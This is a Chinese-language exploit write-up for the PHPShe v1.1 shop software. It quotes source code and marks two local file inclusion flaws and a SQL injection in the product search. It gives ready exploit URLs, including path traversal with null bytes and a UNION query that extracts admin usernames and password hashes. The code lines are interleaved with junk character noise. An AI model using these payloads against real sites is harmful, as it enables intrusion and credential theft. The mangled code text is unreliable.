phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
  w, k  J& [# P" I/ T( j! L/* Phpshe v1.1 Vulnerability
2 P% m3 ~) Y% w" c0 ~( _8 h/* ========================
/* By: : Kn1f3
2 q, g5 I9 j; E$ p9 k/* E-Mail : 681796@qq.com
5 e% Y# R7 b/ V% g3 e/*******************************************************/
  D# P+ d; Q9 u! a( ]7 i0×00 整体大概参数传输

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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 a( e4 A. U% J8 h# C0 `! t$ G!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
4 q( n, Q" b) ~" w# X9 [else {
8 a. l3 h; X9 a3 e!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- v' u; p8 A9 n- Z$ P!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
* c* \1 L  i( w! p, Q8 k2 T) I! l) {session_start();
; E1 U9 s% z0 l* O+ K# u0 L!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
  Z* v/ _0 u% t8 t!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
' g1 ^, d. G9 c8 J1 y, p& V& }. winclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
" w4 q. m6 M* L, |8 @?>
//common 文件 第15行开始
  T9 u2 x% z+ v1 Burl路由配置
$module = $mod = $act = 'index';
5 U9 X! U( p* V) R( k$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
, x3 Z+ {) o* m$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

<code id="code2">

//product.php文件
5 v  c; _" F3 i' w4 L4 Ucase 'list':
$category_id = intval($id);
4 O+ `' x: P, c8 i$ B# t/ ~7 m$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
8 A# e1 X1 {) e! T7 Epe_lead('hook/category.hook.php');
3 j. b, h6 B  h' ^3 dif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
: S  [- H& ~6 K8 Q5 [2 p$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
, g; ~/ w2 @# L$product_hotlist = product_hotlist();
//当前路径
7 x$ Q, A/ L, |" t& a' f" F- P6 h& J$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
" P) c! a$ T4 J  w7 L  ninclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
0 j  R& r1 e  j: x//处理条件语句
$sqlwhere = $this->_dowhere($where);
" M; I& t8 y5 C2 T3 N8 M0 w" l) `return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
6 d- k2 G. y! y//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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/ C; I* T' y: A1 D<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

! z$ S+ q1 G, Y7 a, _0 c$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

+ Z6 X  E7 Q: x( E( v+ Sif ($k == 'bank') {

7 Y1 I& t8 K7 Q% ?# t$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 y7 l3 ^  U, J2 Z& {+ G}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

* [  {, w6 d1 @!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

4 h& y( x$ j- \2 r: P* h* a5 G" oif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

. o, x  p8 b$ C+ B6 {: g" X+ a  ]echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

, I  j5 f. j* e* R# G9 q" xelse {

pe_error('支付错误...');

$ h4 R  E. P$ w5 W% K+ |}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

+ ~2 N9 n$ o4 Ybreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
% R2 \! E+ d+ F. z. Vhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg